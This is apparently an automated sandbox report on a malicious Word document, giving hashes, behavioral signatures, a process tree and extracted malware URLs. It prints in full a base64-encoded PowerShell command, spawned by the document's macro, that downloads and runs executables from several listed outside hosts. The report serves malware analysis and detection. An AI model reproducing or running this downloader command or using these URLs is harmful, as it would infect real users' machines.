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Analysis
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max time kernel
134s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22/05/2024, 06:31
Behavioral task
behavioral1
Sample
66522b920389fcb6d7ddf8808ba0a8ac_JaffaCakes118.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
66522b920389fcb6d7ddf8808ba0a8ac_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
66522b920389fcb6d7ddf8808ba0a8ac_JaffaCakes118.doc
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Size
173KB
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MD5
66522b920389fcb6d7ddf8808ba0a8ac
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SHA1
f6dfa3ecc41e60d3672a66ea98e15ffb40ffbe64
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SHA256
6c15840ece51c9fef3afe93b089baaeb15b75128797ebd2bed4e8bd1f8c091a6
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SHA512
410dffc84077ba97781cff7de5418faa0c42825e9b3f606932af70a88afbcfc24f8e3ba13b8e43df7c4488e3d572ae1074893d88bc9161a194e8bbb5de6f7e5a
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SSDEEP
3072:g77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qxTkKJLHwVEjx5g8:g77HUUUUUUUUUUUUUUUUUUUT52VWTkKN
Malware Config
Extracted
http://140.143.246.120/wp-content/5N_E/
http://colegiodavinci.pe/wp-content/Q4_J/
http://123.207.82.20/wp-includes/d_A/
http://165.227.44.216/6bukewf/4_5/
http://123.207.52.98/wp-content/O3_1/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3956 2340 powershell.exe 82 -
Blocklisted process makes network request 4 IoCs
flow pid Process 22 3956 powershell.exe 99 3956 powershell.exe 110 3956 powershell.exe 116 3956 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3876 WINWORD.EXE 3876 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3956 powershell.exe 3956 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3956 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE 3876 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\66522b920389fcb6d7ddf8808ba0a8ac_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3876
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABxADQAQQBRAG8ARABDAFoAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAnAG8ANABCAEEAJwAsACcAagBBACcAKQA7ACQAWgBDADQAWABEAHcAPQBuAGAAZQBgAFcAYAAtAE8AYgBKAGUAQwB0ACAAKAAnAE4AZQAnACsAJwB0AC4AVwBlAGIAQwBsACcAKwAnAGkAZQAnACsAJwBuAHQAJwApADsAJAB0AEEAUQBCAGsAUQBYAFUAPQAoACIAewAxADkAfQB7ADQANAB9AHsANAAxAH0AewA4AH0AewAzADAAfQB7ADcAfQB7ADIAMgB9AHsANQB9AHsANAAwAH0AewAyAH0AewAzADIAfQB7ADIAOAB9AHsAMQA3AH0AewAyADkAfQB7ADMAMwB9AHsAMQAxAH0AewAyADUAfQB7ADQAMgB9AHsAMQAzAH0AewAzADQAfQB7ADEANAB9AHsANAAzAH0AewAyADMAfQB7ADMAOAB9AHsAMgA0AH0AewAzAH0AewA0AH0AewA5AH0AewAxADAAfQB7ADMAOQB9AHsAMwAxAH0AewAxADgAfQB7ADEANQB9AHsAMwA3AH0AewAxADIAfQB7ADQANQB9AHsAMwA2AH0AewAyADcAfQB7ADYAfQB7ADEANgB9AHsAMwA1AH0AewAxAH0AewAwAH0AewAyADEAfQB7ADIAMAB9AHsAMgA2AH0AewA0ADYAfQAiAC0AZgAnADIAMAA3ACcALAAnAC8ALwAxADIAMwAuACcALAAnAEAAJwAsACcALgAnACwAJwAyADAAJwAsACcANQAnACwAJwBfACcALAAnAGMAJwAsACcAMQA0ADAAJwAsACcALwB3AHAALQBpAG4AYwBsAHUAZAAnACwAJwBlAHMALwAnACwAJwBpACcALAAnAC4AMgAyACcALAAnAGMAbwBuAHQAJwAsACcALwBRADQAXwBKAC8AQABoAHQAdABwADoAJwAsACcALwAxADYAJwAsACcANQAnACwAJwBwADoALwAnACwAJwBwADoALwAnACwAJwBoAHQAdAAnACwAJwAuADkAOAAvAHcAcAAtAGMAbwAnACwAJwAuADUAMgAnACwAJwBvAG4AdABlAG4AdAAvACcALAAnADIAMwAuADIAJwAsACcAOAAyACcALAAnAC4AcABlAC8AJwAsACcAbgB0ACcALAAnAC8ANAAnACwAJwB0ACcALAAnAC8AYwBvAGwAZQBnAGkAbwBkAGEAJwAsACcALgAxADQAMwAuADIANAA2AC4AMQAyADAALwB3AHAALQAnACwAJwBfAEEALwBAAGgAdAB0ACcALAAnAGgAdAAnACwAJwB2AGkAbgBjACcALAAnAGUAbgB0ACcALAAnAC8AQABoAHQAdABwADoAJwAsACcAMQA2AC8ANgBiAHUAawBlAHcAZgAnACwAJwA1ACcALAAnADAANwAuACcALAAnAGQAJwAsACcATgBfAEUALwAnACwAJwAvAC8AJwAsACcAdwBwAC0AJwAsACcALwAvADEAJwAsACcAcAA6ACcALAAnADcALgA0ADQALgAyACcALAAnAGUAbgB0AC8ATwAzAF8AMQAvACcAKQAuACIAcwBQAGAAbABJAHQAIgAoACcAQAAnACkAOwAkAGoAQQA0AEQAQgBVADQAPQAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAnAEQARAAnACwAJwBmAEIAJwAsACcAXwBBACcAKQA7ACQAcQBCAEEAQQBBAFEAWABRACAAPQAgACcANQA4ADMAJwA7ACQASwBBAEQAWgBRAEEARABfAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAawBCAEQAbwBBACcALAAnAFEAJwApADsAJABjAHcAdwBCAFoAQQBRAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABxAEIAQQBBAEEAUQBYAFEAKwAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBlACcALAAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABjAF8ANABBAEEAYwBBACAAaQBuACAAJAB0AEEAUQBCAGsAUQBYAFUAKQB7AHQAcgB5AHsAJABaAEMANABYAEQAdwAuACIARABgAE8AVwBOAEwAbwBgAEEAZABmAGAASQBMAGUAIgAoACQAYwBfADQAQQBBAGMAQQAsACAAJABjAHcAdwBCAFoAQQBRACkAOwAkAEgAXwBRAEEAWABRAGMAPQAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAIAAnAGYAJwAsACcAMQBBAEQAJwAsACcAQQBYADEAJwApADsASQBmACAAKAAoAEcAZQB0AC0AYABJAHQAZQBtACAAJABjAHcAdwBCAFoAQQBRACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AGkAbgBgAFYAbwBrAGAAZQAtAEkAYABUAEUATQAgACQAYwB3AHcAQgBaAEEAUQA7ACQATwBYAFEAQgAxAFUAPQAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGMAQQBRAEQAJwAsACcAVwB3AFEAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGEAeABBAEEANABaAHcAPQAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBQAEEAJwAsACcAbwBBAHcAYwBBACcAKQA7AA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3956
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82